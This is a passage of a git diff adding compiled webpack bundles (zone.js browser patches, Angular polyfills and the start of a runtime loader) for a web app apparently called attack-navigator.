api.ObjectGetOwnPropertyDescriptor(socket, 'onmessage'); + if (onmessageDesc && onmessageDesc.configurable === false) { + proxySocket = api.ObjectCreate(socket); + // socket have own property descriptor 'onopen', 'onmessage', 'onclose', 'onerror' + // but proxySocket not, so we will keep socket as prototype and pass it to + // patchOnProperties method + proxySocketProto = socket; + [ADD_EVENT_LISTENER_STR, REMOVE_EVENT_LISTENER_STR, 'send', 'close'].forEach(function (propName) { + proxySocket[propName] = function () { + var args = api.ArraySlice.call(arguments); + if (propName === ADD_EVENT_LISTENER_STR || propName === REMOVE_EVENT_LISTENER_STR) { + var eventName = args.length > 0 ? args[0] : undefined; + if (eventName) { + var propertySymbol = Zone.__symbol__('ON_PROPERTY' + eventName); + socket[propertySymbol] = proxySocket[propertySymbol]; + } + } + return socket[propName].apply(socket, args); + }; + }); + } + else { + // we can patch the real socket + proxySocket = socket; + } + api.patchOnProperties(proxySocket, ['close', 'error', 'message', 'open'], proxySocketProto); + return proxySocket; + }; + var globalWebSocket = _global['WebSocket']; + for (var prop in WS) { + globalWebSocket[prop] = WS[prop]; + } +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * @fileoverview + * @suppress {globalThis} + */ +function propertyDescriptorLegacyPatch(api, _global) { + var _a = api.getGlobalObjects(), isNode = _a.isNode, isMix = _a.isMix; + if (isNode && !isMix) { + return; + } + if (!canPatchViaPropertyDescriptor(api, _global)) { + var supportsWebSocket = typeof WebSocket !== 'undefined'; + // Safari, Android browsers (Jelly Bean) + patchViaCapturingAllTheEvents(api); + api.patchClass('XMLHttpRequest'); + if (supportsWebSocket) { + apply(api, _global); + } + Zone[api.symbol('patchEvents')] = true; + } +} +function canPatchViaPropertyDescriptor(api, _global) { + var _a = api.getGlobalObjects(), isBrowser = _a.isBrowser, isMix = _a.isMix; + if ((isBrowser || isMix) && + !api.ObjectGetOwnPropertyDescriptor(HTMLElement.prototype, 'onclick') && + typeof Element !== 'undefined') { + // WebKit https://bugs.webkit.org/show_bug.cgi?id=134364 + // IDL interface attributes are not configurable + var desc = api.ObjectGetOwnPropertyDescriptor(Element.prototype, 'onclick'); + if (desc && !desc.configurable) + return false; + // try to use onclick to detect whether we can patch via propertyDescriptor + // because XMLHttpRequest is not available in service worker + if (desc) { + api.ObjectDefineProperty(Element.prototype, 'onclick', { + enumerable: true, + configurable: true, + get: function () { + return true; + } + }); + var div = document.createElement('div'); + var result = !!div.onclick; + api.ObjectDefineProperty(Element.prototype, 'onclick', desc); + return result; + } + } + var XMLHttpRequest = _global['XMLHttpRequest']; + if (!XMLHttpRequest) { + // XMLHttpRequest is not available in service worker + return false; + } + var ON_READY_STATE_CHANGE = 'onreadystatechange'; + var XMLHttpRequestPrototype = XMLHttpRequest.prototype; + var xhrDesc = api.ObjectGetOwnPropertyDescriptor(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE); + // add enumerable and configurable here because in opera + // by default XMLHttpRequest.prototype.onreadystatechange is undefined + // without adding enumerable and configurable will cause onreadystatechange + // non-configurable + // and if XMLHttpRequest.prototype.onreadystatechange is undefined, + // we should set a real desc instead a fake one + if (xhrDesc) { + api.ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, { + enumerable: true, + configurable: true, + get: function () { + return true; + } + }); + var req = new XMLHttpRequest(); + var result = !!req.onreadystatechange; + // restore original desc + api.ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, xhrDesc || {}); + return result; + } + else { + var SYMBOL_FAKE_ONREADYSTATECHANGE_1 = api.symbol('fake'); + api.ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, { + enumerable: true, + configurable: true, + get: function () { + return this[SYMBOL_FAKE_ONREADYSTATECHANGE_1]; + }, + set: function (value) { + this[SYMBOL_FAKE_ONREADYSTATECHANGE_1] = value; + } + }); + var req = new XMLHttpRequest(); + var detectFunc = function () { }; + req.onreadystatechange = detectFunc; + var result = req[SYMBOL_FAKE_ONREADYSTATECHANGE_1] === detectFunc; + req.onreadystatechange = null; + return result; + } +} +// Whenever any eventListener fires, we check the eventListener target and all parents +// for `onwhatever` properties and replace them with zone-bound functions +// - Chrome (for now) +function patchViaCapturingAllTheEvents(api) { + var eventNames = api.getGlobalObjects().eventNames; + var unboundKey = api.symbol('unbound'); + var _loop_1 = function (i) { + var property = eventNames[i]; + var onproperty = 'on' + property; + self.addEventListener(property, function (event) { + var elt = event.target, bound, source; + if (elt) { + source = elt.constructor['name'] + '.' + onproperty; + } + else { + source = 'unknown.' + onproperty; + } + while (elt) { + if (elt[onproperty] && !elt[onproperty][unboundKey]) { + bound = api.wrapWithCurrentZone(elt[onproperty], source); + bound[unboundKey] = elt[onproperty]; + elt[onproperty] = bound; + } + elt = elt.parentElement; + } + }, true); + }; + for (var i = 0; i < eventNames.length; i++) { + _loop_1(i); + } +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +function registerElementPatch(_global, api) { + var _a = api.getGlobalObjects(), isBrowser = _a.isBrowser, isMix = _a.isMix; + if ((!isBrowser && !isMix) || !('registerElement' in _global.document)) { + return; + } + var callbacks = ['createdCallback', 'attachedCallback', 'detachedCallback', 'attributeChangedCallback']; + api.patchCallbacks(api, document, 'Document', 'registerElement', callbacks); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * @fileoverview + * @suppress {missingRequire} + */ +(function (_global) { + _global['__zone_symbol__legacyPatch'] = function () { + var Zone = _global['Zone']; + Zone.__load_patch('registerElement', function (global, Zone, api) { + registerElementPatch(global, api); + }); + Zone.__load_patch('EventTargetLegacy', function (global, Zone, api) { + eventTargetLegacyPatch(global, api); + propertyDescriptorLegacyPatch(api, global); + }); + }; +})(typeof window !== 'undefined' && window || typeof self !== 'undefined' && self || global); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * @fileoverview + * @suppress {missingRequire} + */ +var taskSymbol = zoneSymbol('zoneTask'); +function patchTimer(window, setName, cancelName, nameSuffix) { + var setNative = null; + var clearNative = null; + setName += nameSuffix; + cancelName += nameSuffix; + var tasksByHandleId = {}; + function scheduleTask(task) { + var data = task.data; + function timer() { + try { + task.invoke.apply(this, arguments); + } + finally { + // issue-934, task will be cancelled + // even it is a periodic task such as + // setInterval + if (!(task.data && task.data.isPeriodic)) { + if (typeof data.handleId === 'number') { + // in non-nodejs env, we remove timerId + // from local cache + delete tasksByHandleId[data.handleId]; + } + else if (data.handleId) { + // Node returns complex objects as handleIds + // we remove task reference from timer object + data.handleId[taskSymbol] = null; + } + } + } + } + data.args[0] = timer; + data.handleId = setNative.apply(window, data.args); + return task; + } + function clearTask(task) { + return clearNative(task.data.handleId); + } + setNative = + patchMethod(window, setName, function (delegate) { return function (self, args) { + if (typeof args[0] === 'function') { + var options = { + isPeriodic: nameSuffix === 'Interval', + delay: (nameSuffix === 'Timeout' || nameSuffix === 'Interval') ? args[1] || 0 : + undefined, + args: args + }; + var task = scheduleMacroTaskWithCurrentZone(setName, args[0], options, scheduleTask, clearTask); + if (!task) { + return task; + } + // Node.js must additionally support the ref and unref functions. + var handle = task.data.handleId; + if (typeof handle === 'number') { + // for non nodejs env, we save handleId: task + // mapping in local cache for clearTimeout + tasksByHandleId[handle] = task; + } + else if (handle) { + // for nodejs env, we save task + // reference in timerId Object for clearTimeout + handle[taskSymbol] = task; + } + // check whether handle is null, because some polyfill or browser + // may return undefined from setTimeout/setInterval/setImmediate/requestAnimationFrame + if (handle && handle.ref && handle.unref && typeof handle.ref === 'function' && + typeof handle.unref === 'function') { + task.ref = handle.ref.bind(handle); + task.unref = handle.unref.bind(handle); + } + if (typeof handle === 'number' || handle) { + return handle; + } + return task; + } + else { + // cause an error by calling it directly. + return delegate.apply(window, args); + } + }; }); + clearNative = + patchMethod(window, cancelName, function (delegate) { return function (self, args) { + var id = args[0]; + var task; + if (typeof id === 'number') { + // non nodejs env. + task = tasksByHandleId[id]; + } + else { + // nodejs env. + task = id && id[taskSymbol]; + // other environments. + if (!task) { + task = id; + } + } + if (task && typeof task.type === 'string') { + if (task.state !== 'notScheduled' && + (task.cancelFn && task.data.isPeriodic || task.runCount === 0)) { + if (typeof id === 'number') { + delete tasksByHandleId[id]; + } + else if (id) { + id[taskSymbol] = null; + } + // Do not cancel already canceled functions + task.zone.cancelTask(task); + } + } + else { + // cause an error by calling it directly. + delegate.apply(window, args); + } + }; }); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +function patchCustomElements(_global, api) { + var _a = api.getGlobalObjects(), isBrowser = _a.isBrowser, isMix = _a.isMix; + if ((!isBrowser && !isMix) || !_global['customElements'] || !('customElements' in _global)) { + return; + } + var callbacks = ['connectedCallback', 'disconnectedCallback', 'adoptedCallback', 'attributeChangedCallback']; + api.patchCallbacks(api, _global.customElements, 'customElements', 'define', callbacks); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +function eventTargetPatch(_global, api) { + if (Zone[api.symbol('patchEventTarget')]) { + // EventTarget is already patched. + return; + } + var _a = api.getGlobalObjects(), eventNames = _a.eventNames, zoneSymbolEventNames = _a.zoneSymbolEventNames, TRUE_STR = _a.TRUE_STR, FALSE_STR = _a.FALSE_STR, ZONE_SYMBOL_PREFIX = _a.ZONE_SYMBOL_PREFIX; + // predefine all __zone_symbol__ + eventName + true/false string + for (var i = 0; i < eventNames.length; i++) { + var eventName = eventNames[i]; + var falseEventName = eventName + FALSE_STR; + var trueEventName = eventName + TRUE_STR; + var symbol = ZONE_SYMBOL_PREFIX + falseEventName; + var symbolCapture = ZONE_SYMBOL_PREFIX + trueEventName; + zoneSymbolEventNames[eventName] = {}; + zoneSymbolEventNames[eventName][FALSE_STR] = symbol; + zoneSymbolEventNames[eventName][TRUE_STR] = symbolCapture; + } + var EVENT_TARGET = _global['EventTarget']; + if (!EVENT_TARGET || !EVENT_TARGET.prototype) { + return; + } + api.patchEventTarget(_global, [EVENT_TARGET && EVENT_TARGET.prototype]); + return true; +} +function patchEvent$1(global, api) { + api.patchEventPrototype(global, api); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * @fileoverview + * @suppress {missingRequire} + */ +Zone.__load_patch('legacy', function (global) { + var legacyPatch = global[Zone.__symbol__('legacyPatch')]; + if (legacyPatch) { + legacyPatch(); + } +}); +Zone.__load_patch('timers', function (global) { + var set = 'set'; + var clear = 'clear'; + patchTimer(global, set, clear, 'Timeout'); + patchTimer(global, set, clear, 'Interval'); + patchTimer(global, set, clear, 'Immediate'); +}); +Zone.__load_patch('requestAnimationFrame', function (global) { + patchTimer(global, 'request', 'cancel', 'AnimationFrame'); + patchTimer(global, 'mozRequest', 'mozCancel', 'AnimationFrame'); + patchTimer(global, 'webkitRequest', 'webkitCancel', 'AnimationFrame'); +}); +Zone.__load_patch('blocking', function (global, Zone) { + var blockingMethods = ['alert', 'prompt', 'confirm']; + for (var i = 0; i < blockingMethods.length; i++) { + var name_1 = blockingMethods[i]; + patchMethod(global, name_1, function (delegate, symbol, name) { + return function (s, args) { + return Zone.current.run(delegate, global, args, name); + }; + }); + } +}); +Zone.__load_patch('EventTarget', function (global, Zone, api) { + patchEvent$1(global, api); + eventTargetPatch(global, api); + // patch XMLHttpRequestEventTarget's addEventListener/removeEventListener + var XMLHttpRequestEventTarget = global['XMLHttpRequestEventTarget']; + if (XMLHttpRequestEventTarget && XMLHttpRequestEventTarget.prototype) { + api.patchEventTarget(global, [XMLHttpRequestEventTarget.prototype]); + } + patchClass('MutationObserver'); + patchClass('WebKitMutationObserver'); + patchClass('IntersectionObserver'); + patchClass('FileReader'); +}); +Zone.__load_patch('on_property', function (global, Zone, api) { + propertyDescriptorPatch(api, global); + propertyPatch(); +}); +Zone.__load_patch('customElements', function (global, Zone, api) { + patchCustomElements(global, api); +}); +Zone.__load_patch('XHR', function (global, Zone) { + // Treat XMLHttpRequest as a macrotask. + patchXHR(global); + var XHR_TASK = zoneSymbol('xhrTask'); + var XHR_SYNC = zoneSymbol('xhrSync'); + var XHR_LISTENER = zoneSymbol('xhrListener'); + var XHR_SCHEDULED = zoneSymbol('xhrScheduled'); + var XHR_URL = zoneSymbol('xhrURL'); + var XHR_ERROR_BEFORE_SCHEDULED = zoneSymbol('xhrErrorBeforeScheduled'); + function patchXHR(window) { + var XMLHttpRequest = window['XMLHttpRequest']; + if (!XMLHttpRequest) { + // XMLHttpRequest is not available in service worker + return; + } + var XMLHttpRequestPrototype = XMLHttpRequest.prototype; + function findPendingTask(target) { + return target[XHR_TASK]; + } + var oriAddListener = XMLHttpRequestPrototype[ZONE_SYMBOL_ADD_EVENT_LISTENER]; + var oriRemoveListener = XMLHttpRequestPrototype[ZONE_SYMBOL_REMOVE_EVENT_LISTENER]; + if (!oriAddListener) { + var XMLHttpRequestEventTarget_1 = window['XMLHttpRequestEventTarget']; + if (XMLHttpRequestEventTarget_1) { + var XMLHttpRequestEventTargetPrototype = XMLHttpRequestEventTarget_1.prototype; + oriAddListener = XMLHttpRequestEventTargetPrototype[ZONE_SYMBOL_ADD_EVENT_LISTENER]; + oriRemoveListener = XMLHttpRequestEventTargetPrototype[ZONE_SYMBOL_REMOVE_EVENT_LISTENER]; + } + } + var READY_STATE_CHANGE = 'readystatechange'; + var SCHEDULED = 'scheduled'; + function scheduleTask(task) { + var data = task.data; + var target = data.target; + target[XHR_SCHEDULED] = false; + target[XHR_ERROR_BEFORE_SCHEDULED] = false; + // remove existing event listener + var listener = target[XHR_LISTENER]; + if (!oriAddListener) { + oriAddListener = target[ZONE_SYMBOL_ADD_EVENT_LISTENER]; + oriRemoveListener = target[ZONE_SYMBOL_REMOVE_EVENT_LISTENER]; + } + if (listener) { + oriRemoveListener.call(target, READY_STATE_CHANGE, listener); + } + var newListener = target[XHR_LISTENER] = function () { + if (target.readyState === target.DONE) { + // sometimes on some browsers XMLHttpRequest will fire onreadystatechange with + // readyState=4 multiple times, so we need to check task state here + if (!data.aborted && target[XHR_SCHEDULED] && task.state === SCHEDULED) { + // check whether the xhr has registered onload listener + // if that is the case, the task should invoke after all + // onload listeners finish. + var loadTasks = target['__zone_symbol__loadfalse']; + if (loadTasks && loadTasks.length > 0) { + var oriInvoke_1 = task.invoke; + task.invoke = function () { + // need to load the tasks again, because in other + // load listener, they may remove themselves + var loadTasks = target['__zone_symbol__loadfalse']; + for (var i = 0; i < loadTasks.length; i++) { + if (loadTasks[i] === task) { + loadTasks.splice(i, 1); + } + } + if (!data.aborted && task.state === SCHEDULED) { + oriInvoke_1.call(task); + } + }; + loadTasks.push(task); + } + else { + task.invoke(); + } + } + else if (!data.aborted && target[XHR_SCHEDULED] === false) { + // error occurs when xhr.send() + target[XHR_ERROR_BEFORE_SCHEDULED] = true; + } + } + }; + oriAddListener.call(target, READY_STATE_CHANGE, newListener); + var storedTask = target[XHR_TASK]; + if (!storedTask) { + target[XHR_TASK] = task; + } + sendNative.apply(target, data.args); + target[XHR_SCHEDULED] = true; + return task; + } + function placeholderCallback() { } + function clearTask(task) { + var data = task.data; + // Note - ideally, we would call data.target.removeEventListener here, but it's too late + // to prevent it from firing. So instead, we store info for the event listener. + data.aborted = true; + return abortNative.apply(data.target, data.args); + } + var openNative = patchMethod(XMLHttpRequestPrototype, 'open', function () { return function (self, args) { + self[XHR_SYNC] = args[2] == false; + self[XHR_URL] = args[1]; + return openNative.apply(self, args); + }; }); + var XMLHTTPREQUEST_SOURCE = 'XMLHttpRequest.send'; + var fetchTaskAborting = zoneSymbol('fetchTaskAborting'); + var fetchTaskScheduling = zoneSymbol('fetchTaskScheduling'); + var sendNative = patchMethod(XMLHttpRequestPrototype, 'send', function () { return function (self, args) { + if (Zone.current[fetchTaskScheduling] === true) { + // a fetch is scheduling, so we are using xhr to polyfill fetch + // and because we already schedule macroTask for fetch, we should + // not schedule a macroTask for xhr again + return sendNative.apply(self, args); + } + if (self[XHR_SYNC]) { + // if the XHR is sync there is no task to schedule, just execute the code. + return sendNative.apply(self, args); + } + else { + var options = { target: self, url: self[XHR_URL], isPeriodic: false, args: args, aborted: false }; + var task = scheduleMacroTaskWithCurrentZone(XMLHTTPREQUEST_SOURCE, placeholderCallback, options, scheduleTask, clearTask); + if (self && self[XHR_ERROR_BEFORE_SCHEDULED] === true && !options.aborted && + task.state === SCHEDULED) { + // xhr request throw error when send + // we should invoke task instead of leaving a scheduled + // pending macroTask + task.invoke(); + } + } + }; }); + var abortNative = patchMethod(XMLHttpRequestPrototype, 'abort', function () { return function (self, args) { + var task = findPendingTask(self); + if (task && typeof task.type == 'string') { + // If the XHR has already completed, do nothing. + // If the XHR has already been aborted, do nothing. + // Fix #569, call abort multiple times before done will cause + // macroTask task count be negative number + if (task.cancelFn == null || (task.data && task.data.aborted)) { + return; + } + task.zone.cancelTask(task); + } + else if (Zone.current[fetchTaskAborting] === true) { + // the abort is called from fetch polyfill, we need to call native abort of XHR. + return abortNative.apply(self, args); + } + // Otherwise, we are trying to abort an XHR which has not yet been sent, so there is no + // task + // to cancel. Do nothing. + }; }); + } +}); +Zone.__load_patch('geolocation', function (global) { + /// GEO_LOCATION + if (global['navigator'] && global['navigator'].geolocation) { + patchPrototype(global['navigator'].geolocation, ['getCurrentPosition', 'watchPosition']); + } +}); +Zone.__load_patch('PromiseRejectionEvent', function (global, Zone) { + // handle unhandled promise rejection + function findPromiseRejectionHandler(evtName) { + return function (e) { + var eventTasks = findEventTasks(global, evtName); + eventTasks.forEach(function (eventTask) { + // windows has added unhandledrejection event listener + // trigger the event listener + var PromiseRejectionEvent = global['PromiseRejectionEvent']; + if (PromiseRejectionEvent) { + var evt = new PromiseRejectionEvent(evtName, { promise: e.promise, reason: e.rejection }); + eventTask.invoke(evt); + } + }); + }; + } + if (global['PromiseRejectionEvent']) { + Zone[zoneSymbol('unhandledPromiseRejectionHandler')] = + findPromiseRejectionHandler('unhandledrejection'); + Zone[zoneSymbol('rejectionHandledHandler')] = + findPromiseRejectionHandler('rejectionhandled'); + } +}); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ + +}))); + +/* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js"))) + +/***/ }), + +/***/ "./src/polyfills.ts": +/*!**************************!*\ + !*** ./src/polyfills.ts ***! + \**************************/ +/*! no exports provided */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony import */ var core_js_es6_symbol__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! core-js/es6/symbol */ "./node_modules/core-js/es6/symbol.js"); +/* harmony import */ var core_js_es6_symbol__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_symbol__WEBPACK_IMPORTED_MODULE_0__); +/* harmony import */ var core_js_es6_object__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! core-js/es6/object */ "./node_modules/core-js/es6/object.js"); +/* harmony import */ var core_js_es6_object__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_object__WEBPACK_IMPORTED_MODULE_1__); +/* harmony import */ var core_js_es6_function__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! core-js/es6/function */ "./node_modules/core-js/es6/function.js"); +/* harmony import */ var core_js_es6_function__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_function__WEBPACK_IMPORTED_MODULE_2__); +/* harmony import */ var core_js_es6_parse_int__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! core-js/es6/parse-int */ "./node_modules/core-js/es6/parse-int.js"); +/* harmony import */ var core_js_es6_parse_int__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_parse_int__WEBPACK_IMPORTED_MODULE_3__); +/* harmony import */ var core_js_es6_parse_float__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! core-js/es6/parse-float */ "./node_modules/core-js/es6/parse-float.js"); +/* harmony import */ var core_js_es6_parse_float__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_parse_float__WEBPACK_IMPORTED_MODULE_4__); +/* harmony import */ var core_js_es6_number__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! core-js/es6/number */ "./node_modules/core-js/es6/number.js"); +/* harmony import */ var core_js_es6_number__WEBPACK_IMPORTED_MODULE_5___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_number__WEBPACK_IMPORTED_MODULE_5__); +/* harmony import */ var core_js_es6_math__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! core-js/es6/math */ "./node_modules/core-js/es6/math.js"); +/* harmony import */ var core_js_es6_math__WEBPACK_IMPORTED_MODULE_6___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_math__WEBPACK_IMPORTED_MODULE_6__); +/* harmony import */ var core_js_es6_string__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! core-js/es6/string */ "./node_modules/core-js/es6/string.js"); +/* harmony import */ var core_js_es6_string__WEBPACK_IMPORTED_MODULE_7___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_string__WEBPACK_IMPORTED_MODULE_7__); +/* harmony import */ var core_js_es6_date__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! core-js/es6/date */ "./node_modules/core-js/es6/date.js"); +/* harmony import */ var core_js_es6_date__WEBPACK_IMPORTED_MODULE_8___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_date__WEBPACK_IMPORTED_MODULE_8__); +/* harmony import */ var core_js_es6_array__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! core-js/es6/array */ "./node_modules/core-js/es6/array.js"); +/* harmony import */ var core_js_es6_array__WEBPACK_IMPORTED_MODULE_9___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_array__WEBPACK_IMPORTED_MODULE_9__); +/* harmony import */ var core_js_es6_regexp__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! core-js/es6/regexp */ "./node_modules/core-js/es6/regexp.js"); +/* harmony import */ var core_js_es6_regexp__WEBPACK_IMPORTED_MODULE_10___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_regexp__WEBPACK_IMPORTED_MODULE_10__); +/* harmony import */ var core_js_es6_map__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! core-js/es6/map */ "./node_modules/core-js/es6/map.js"); +/* harmony import */ var core_js_es6_map__WEBPACK_IMPORTED_MODULE_11___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_map__WEBPACK_IMPORTED_MODULE_11__); +/* harmony import */ var core_js_es6_weak_map__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! core-js/es6/weak-map */ "./node_modules/core-js/es6/weak-map.js"); +/* harmony import */ var core_js_es6_weak_map__WEBPACK_IMPORTED_MODULE_12___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_weak_map__WEBPACK_IMPORTED_MODULE_12__); +/* harmony import */ var core_js_es6_set__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(/*! core-js/es6/set */ "./node_modules/core-js/es6/set.js"); +/* harmony import */ var core_js_es6_set__WEBPACK_IMPORTED_MODULE_13___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_set__WEBPACK_IMPORTED_MODULE_13__); +/* harmony import */ var classlist_js__WEBPACK_IMPORTED_MODULE_14__ = __webpack_require__(/*! classlist.js */ "./node_modules/classlist.js/classList.js"); +/* harmony import */ var classlist_js__WEBPACK_IMPORTED_MODULE_14___default = /*#__PURE__*/__webpack_require__.n(classlist_js__WEBPACK_IMPORTED_MODULE_14__); +/* harmony import */ var core_js_es6_reflect__WEBPACK_IMPORTED_MODULE_15__ = __webpack_require__(/*! core-js/es6/reflect */ "./node_modules/core-js/es6/reflect.js"); +/* harmony import */ var core_js_es6_reflect__WEBPACK_IMPORTED_MODULE_15___default = /*#__PURE__*/__webpack_require__.n(core_js_es6_reflect__WEBPACK_IMPORTED_MODULE_15__); +/* harmony import */ var zone_js_dist_zone__WEBPACK_IMPORTED_MODULE_16__ = __webpack_require__(/*! zone.js/dist/zone */ "./node_modules/zone.js/dist/zone.js"); +/* harmony import */ var zone_js_dist_zone__WEBPACK_IMPORTED_MODULE_16___default = /*#__PURE__*/__webpack_require__.n(zone_js_dist_zone__WEBPACK_IMPORTED_MODULE_16__); +/** + * This file includes polyfills needed by Angular and is loaded before the app. + * You can add your own extra polyfills to this file. + * + * This file is divided into 2 sections: + * 1. Browser polyfills. These are applied before loading ZoneJS and are sorted by browsers. + * 2. Application imports. Files imported after ZoneJS that should be loaded before your main + * file. + * + * The current setup is for so-called "evergreen" browsers; the last versions of browsers that + * automatically update themselves. This includes Safari >= 10, Chrome >= 55 (including Opera), + * Edge >= 13 on the desktop, and iOS 10 and Chrome on mobile. + * + * Learn more in https://angular.io/docs/ts/latest/guide/browser-support.html + */ +/*************************************************************************************************** + * BROWSER POLYFILLS + */ +/** IE9, IE10 and IE11 requires all of the following polyfills. **/ + + + + + + + + + + + + + + +/** IE10 and IE11 requires the following for NgClass support on SVG elements */ + // Run `npm install --save classlist.js`. +/** IE10 and IE11 requires the following for the Reflect API. */ + +/** Evergreen browsers require these. **/ +// Used for reflect-metadata in JIT. If you use AOT (and only Angular decorators), you can remove. +/** + * Required to support Web Animations `@angular/platform-browser/animations`. + * Needed for: All but Chrome, Firefox and Opera. http://caniuse.com/#feat=web-animation + **/ +// import 'web-animations-js'; // Run `npm install --save web-animations-js`. +/*************************************************************************************************** + * Zone JS is required by Angular itself. + */ + // Included with Angular CLI. +/*************************************************************************************************** + * APPLICATION IMPORTS + */ +/** + * Date, currency, decimal and percent pipes. + * Needed for: All but Chrome, Firefox, Edge, IE11 and Safari 10 + */ +// import 'intl'; // Run `npm install --save intl`. +/** + * Need to import at least one locale-data with intl. + */ +// import 'intl/locale-data/jsonp/en'; +if (!Element.prototype.matches) { + Element.prototype.matches = Element.prototype.msMatchesSelector || Element.prototype.webkitMatchesSelector; +} + + +/***/ }), + +/***/ 17: +/*!***************************************************************************************************************************!*\ + !*** multi ./src/polyfills.ts ./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/jit-polyfills.js ***! + \***************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! /home/LON/bernalo/git/attack-navigator/nav-app/src/polyfills.ts */"./src/polyfills.ts"); +module.exports = __webpack_require__(/*! /home/LON/bernalo/git/attack-navigator/nav-app/node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/jit-polyfills.js */"./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/jit-polyfills.js"); + + +/***/ }) + +},[[17,"runtime"]]]); +//# sourceMappingURL=polyfills.js.map \ No newline at end of file diff --git a/public/assets/attack-navigator/runtime.js b/public/assets/attack-navigator/runtime.js new file mode 100644 index 0000000..fd2c03c --- /dev/null +++ b/public/assets/attack-navigator/runtime.js @@ -0,0 +1,154 @@ +/******/ (function(modules) { // webpackBootstrap +/******/ // install a JSONP callback for chunk loading +/******/ function webpackJsonpCallback(data) { +/******/ var chunkIds = data[0]; +/******/ var moreModules = data[1]; +/******/ var executeModules = data[2]; +/******/ +/******/ // add "moreModules" to the modules object, +/******/ // then flag all "chunkIds" as loaded and fire callback +/******/ var moduleId, chunkId, i = 0, resolves = []; +/******/ for(;i < chunkIds.length; i++) { +/******/ chunkId = chunkIds[i]; +/******/ if(installedChunks[chunkId]) { +/******/ resolves.push(installedChunks[chunkId][0]); +/******/ } +/******/ installedChunks[chunkId] = 0; +/******/ } +/******/ for(moduleId in moreModules) { +/******/ if(Object.prototype.hasOwnProperty.call(moreModules, moduleId)) { +/******/ modules[moduleId] = moreModules[moduleId]; +/******/ } +/******/ } +/******/ if(parentJsonpFunction) parentJsonpFunction(data); +/******/ +/******/ while(resolves.length) { +/******/ resolves.shift()(); +/******/ } +/******/ +/******/ // add entry modules from loaded chunk to deferred list +/******/ deferredModules.push.apply(deferredModules, executeModules || []); +/******/ +/******/ // run deferred modules when all chunks ready +/******/ return checkDeferredModules(); +/******/ }; +/******/ function checkDeferredModules() { +/******/ var result; +/******/ for(var i = 0; i < deferredModules.length; i++) { +/******/ var deferredModule = deferredModules[i]; +/******/ var fulfilled = true; +/******/ for(var j = 1; j < deferredModule.length; j++) { +/******/ var depId = deferredModule[j]; +/******/ if(installedChunks[depId] !== 0) fulfilled = false; +/******/ } +/******/ if(fulfilled) { +/******/ deferredModules.splice(i--, 1); +/******/ result = __webpack_require__(__webpack_require__.s = deferredModule[0]); +/******/ } +/******/ } +/******/ return result; +/******/ } +/******/ +/******/ // The module cache +/******/ var installedModules = {}; +/******/ +/******/ // object to store loaded and loading chunks +/******/ // undefined = chunk not loaded, null = chunk preloaded/prefetched +/******/ // Promise = chunk loading, 0 = chunk loaded +/******/ var installedChunks = 